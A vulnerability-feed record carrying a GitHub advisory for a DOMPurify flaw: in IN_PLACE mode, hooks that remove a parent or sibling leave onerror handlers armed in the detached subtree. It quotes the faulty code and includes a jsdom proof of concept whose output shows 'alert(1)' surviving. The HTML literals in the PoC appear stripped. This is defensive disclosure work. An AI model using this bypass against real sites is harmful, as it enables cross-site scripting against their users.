{"vuln_id":"GHSA-mrv2-3pqr-j5jr","aliases":["GHSA-p98j-92pf-mc4p"],"description":"DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p)","published_at":"2026-10-22T16:24:52Z","modified_at":"2026-11-19T00:06:58Z","first_seen_at":"2026-11-21T19:15:19.494709Z","severity":"low","severity_source":"ghsa","cvss_score":2.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","cwe":["CWE-79","CWE-693"],"vendor":null,"product":null,"kev":{"is_kev":false,"date_added":null,"due_date":null,"ransomware":false},"epss":null,"epss_percentile":null,"nvd_status":null,"enriched_at":null,"links":{"nvd":"https://github.com/advisories/GHSA-mrv2-3pqr-j5jr"},"matched_alias":null,"items":[{"id":2425,"source":{"id":"ghsa","name":"GitHub Security Advisories"},"title":"GHSA-mrv2-3pqr-j5jr: DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p)","summary":"DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p)\n\n### Summary\n\nThe 3.4.16 fix for GHSA-p98j-92pf-mc4p only covers a hook that removes the node it was called for. If an `IN_PLACE` hook removes a different node, like the current node's parent or a sibling that has not been visited yet, that subtree is never walked or neutralized. Event handlers in it stay on the elements, and an `\n` that was already loading fires after `sanitize()` returns.\n\nThe README says: \"Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an `\n` that was already loading when you built the live tree cannot fire after `sanitize()` returns.\" That does not hold when the detached node is not the hook's own node.\n\n### Tested versions\n\n- 3.4.16 (latest) and main at 18f8f0e\n- also 3.4.15, 3.4.12 and 2.5.8\n\njsdom for the matrix below, and Chromium (Playwright) for the event actually firing.\n\n### Details\n\n`src/purify.ts` line 2134 (`dist/purify.cjs.js` line 2009 in 3.4.16), `_handleHookDetachedNode()`:\n\n```js\nif (currentNode === root || getParentNode(currentNode) !== null) {\nreturn false;\n}\nif (IN_PLACE) {\n_neutralizeSubtree(currentNode);\n}\n```\n\nIt only checks whether `currentNode` lost its parent. When a hook removes `currentNode.parentNode` (or any ancestor), `currentNode` still has a parent, so nothing happens. The rest of the removed subtree is no longer reachable by the walker, and it is not in `DOMPurify.removed`, so the post walk pass does not see it either. The same happens when a hook removes a later sibling. This applies to all five element and attribute hooks.\n\n### PoC (jsdom)\n\n```js\nconst { JSDOM } = require('jsdom')\nconst createDOMPurify = require('dompurify')\nconst win = new JSDOM('').window\nconst doc = win.document\n\nfor (const mode of ['self', 'parent', 'nextSibling']) {\nconst DOMPurify = createDOMPurify(win)\ndoc.body.innerHTML = '\n' +\n'\nok\n'\nconst root = doc.getElementById('root')\nconst evil = doc.getElementById('evil')\n\n// app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling)\nDOMPurify.addHook('afterSanitizeAttributes', (node) => {\nif (node.getAttribute && node.getAttribute('class') === 'bad') {\nif (mode === 'self') node.remove()\nif (mode === 'parent') node.parentNode.remove()\nif (mode === 'nextSibling') node.nextElementSibling.remove()\n}\n})\n\nDOMPurify.sanitize(root, { IN_PLACE: true })\nconsole.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror')))\n}\n```\n\nOutput on 3.4.16:\n\n```\n3.4.16 self onerror = null\n3.4.16 parent onerror = \"alert(1)\"\n3.4.16 nextSibling onerror = \"alert(1)\"\n```\n\nIn `self` mode the walker still reaches the second image and strips `onerror`. In the other two modes the second image is detached with its handler still set. The same result\n\nAffected packages: npm:dompurify\nPatched: dompurify 3.4.17","url":"https://github.com/advisories/GHSA-mrv2-3pqr-j5jr","published_at":"2026-10-22T16:24:52Z","updated_at":"2026-11-19T00:06:58Z","fetched_at":"2026-11-21T19:15:18.416826Z","severity":"low","cvss_score":2.3,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"dompurify","vuln_id":"GHSA-mrv2-3pqr-j5jr","vuln_ids":["GHSA-MRV2-3PQR-J5JR","GHSA-P98J-92PF-MC4P"],"tags":["ghsa","npm","CWE-79","CWE-693"],"cluster_id":2282,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/2425","html":"https://vulnwatch.ve1ve2.com/item/2425"}}]}